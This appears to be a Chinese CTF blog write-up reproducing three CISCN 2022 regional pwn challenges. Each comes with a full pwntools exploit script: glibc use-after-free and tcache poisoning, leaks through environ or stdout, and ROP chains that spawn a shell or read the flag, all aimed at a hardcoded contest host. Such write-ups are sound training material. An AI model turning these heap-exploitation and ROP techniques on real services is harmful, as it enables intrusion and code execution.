0%

ciscn-2022-华东北赛区pwn题复现

ciscn2022 华东北赛区pwn题复现

duck

2.34 uaf , 打environ泄露栈地址,覆盖返回地址为system(“/bin/sh”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
banary = "./pwn"
libc = ELF("./libc.so.6")
elf = ELF(banary)
ip = '1.14.71.254'
port = 28060
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\x7f")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
ia = lambda : io.interactive()

def add():
sla(b'Choice: ', b'1')

def delete(idx):
sla(b'Choice: ', b'2')
sla(b'Idx:', str(idx))

def show(idx):
sla(b'Choice: ', b'3')
sla(b'Idx:', str(idx))

def edit(idx, size, con):
sla(b'Choice: ', b'4')
sla(b'Idx:', str(idx))
sla(b'Size:', str(size))
sla(b'Content:', con)

for i in range(9):
add() #8

for i in range(8):
delete(i)

show(0)
ru(b'\n')
key = u64(io.recv(5).ljust(8, b'\x00'))
print(hex(key))
show(7)
ru(b'\n')
libcbase = uu64() - 96 - libc.sym['main_arena']
print(hex(libcbase))
sh = libcbase + 0x1B4689
pop_rdi = libcbase + 0x2daa2
environ = libcbase + libc.sym["environ"]
sys_addr = libcbase + libc.sym['system']

for i in range(5):
add() #13

edit(1, 8, p64(environ ^ key))
add() #14
add() #15 environ
show(15)
stack = uu64() - 0x150 #ret_addr
print(hex(stack))


delete(5)
delete(6)
edit(6, 8, p64(stack - 0x18 ^ key))

add() #16
add() #17 ret_addr
edit(17, 0x30, b'a' * 0x18 + p64(pop_rdi) + p64(sh) + p64(sys_addr))
ia()

bigduck

2.33 uaf ,同样打environ泄露栈地址,覆盖返回地址构造orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
banary = "./pwn"
libc = ELF("./libc.so.6")
elf = ELF(banary)
ip = '1.14.71.254'
port = 28902
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\x7f")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
ia = lambda : io.interactive()

def add():
sla(b'Choice: ', b'1')

def delete(idx):
sla(b'Choice: ', b'2')
sla(b'Idx:', str(idx))

def show(idx):
sla(b'Choice: ', b'3')
sla(b'Idx:', str(idx))

def edit(idx, size, con):
sla(b'Choice: ', b'4')
sla(b'Idx:', str(idx))
sla(b'Size:', str(size))
sla(b'Content:', con)

for i in range(9):
add() #8

for i in range(8):
delete(i)

show(0)
ru(b'\n')
key = u64(io.recv(5).ljust(8, b'\x00'))
print(hex(key))
heap = key << 12
print(hex(heap))

edit(7, 1, b'\x10')
show(7)
malloc_hook = uu64() - 96 - 0x10 - 0x10
print(hex(malloc_hook))
libcbase = malloc_hook - libc.sym['__malloc_hook']
environ = libcbase + libc.sym['environ']
pop_rdi = libcbase + 0x28a55
pop_rsi = libcbase + 0x2a4cf
pop_rdx = libcbase + 0xc7f32
read_addr = libcbase + libc.sym['read']
write_addr = libcbase + libc.sym['write']
open_addr = libcbase + libc.sym['open']

for i in range(5):
add()

edit(1, 8, p64(environ ^ key))

add()
add()
show(15)
stack = uu64() - 0x168
print(hex(stack))

delete(5)
delete(6)
edit(6, 8, p64(stack ^ key))
add()
add() #17

payload = b'flag' + b'\x00' * 4
payload += p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
payload += p64(pop_rdi) + p64(1) + p64(write_addr)
edit(17, len(payload), payload)
ia()

blue

程序只能show一次

这里有个隐藏的uaf,也是一次的

用这个uaf去泄露libc

先把tcache填满,利用再释放一个堆块进入unsorted bin泄露libc,然后释放一个堆块与该堆块合并,再去把tcache bin中的一个堆块取出来,接着再次释放前面uaf的堆块,这样就能做到unsorted bin和tcache的一个堆重叠,切割unsorted bin 就是任意地址写了

因为只能show一次,所以选择打stdout去泄露栈地址,最后构造orw拿到flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
banary = "./pwn"
elf = ELF(banary)
libc = ELF("./libc.so.6")
ip = '1.14.71.254'
port = 28834
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)

context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
_flags = 0xfbad1800

def add(size, con):
sla(b": ", b'1')
sla(b': ', str(size))
sa(b': ', con)

def delete(idx):
sla(b": ", b'2')
sla(b": ", str(idx))

def show(idx):
sla(b": ", b'3')
sla(b': ', str(idx))

def uaf(idx):
sla(b': ', b'666')
sla(b': ', str(idx))

for i in range(10):
add(0x90, b'a')

for i in range(7):
delete(i)

uaf(8)
show(8)
libcbase = uu64() - 0x1ecbe0
print(hex(libcbase))
stdout = libcbase + libc.sym['_IO_2_1_stdout_']
environ = libcbase + libc.sym['environ']

delete(7)

add(0x90, b'aaaa')

delete(8)
add(0x80, b'aaaa')

payload = p64(0) + p64(0x91) + p64(stdout)
add(0x80, payload)


payload2 = p64(_flags) + p64(0) * 3 + p64(environ) + p64(environ + 8) * 2
add(0x90, b'a')
add(0x90, payload2)
stack = uu64() - 0x128
print(hex(stack))


add(0x80, b'a')
delete(5)
delete(3)
delete(2)

payload3 = p64(0) * 2 + p64(stack)
add(0x80, payload3)

add(0x80, b'a')
'''
open:0x10dd10
read:0x10dff0
write:0x10e090
'''
open = libcbase + libc.sym['open']
read_addr = libcbase + libc.sym['read']
puts = libcbase + libc.sym['puts']
pop_rdi = libcbase + 0x23b6a
ret = libcbase + 0x22679
pop_rsi = libcbase + 0x2601f
pop_rdx = libcbase + 0x142c92

orw = b'./flag\x00\x00'
orw += p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x200) + p64(pop_rdx) + p64(0x50) + p64(read_addr)
orw += p64(pop_rdi) + p64(stack + 0x200) + p64(puts)

add(0x80, orw)
ia()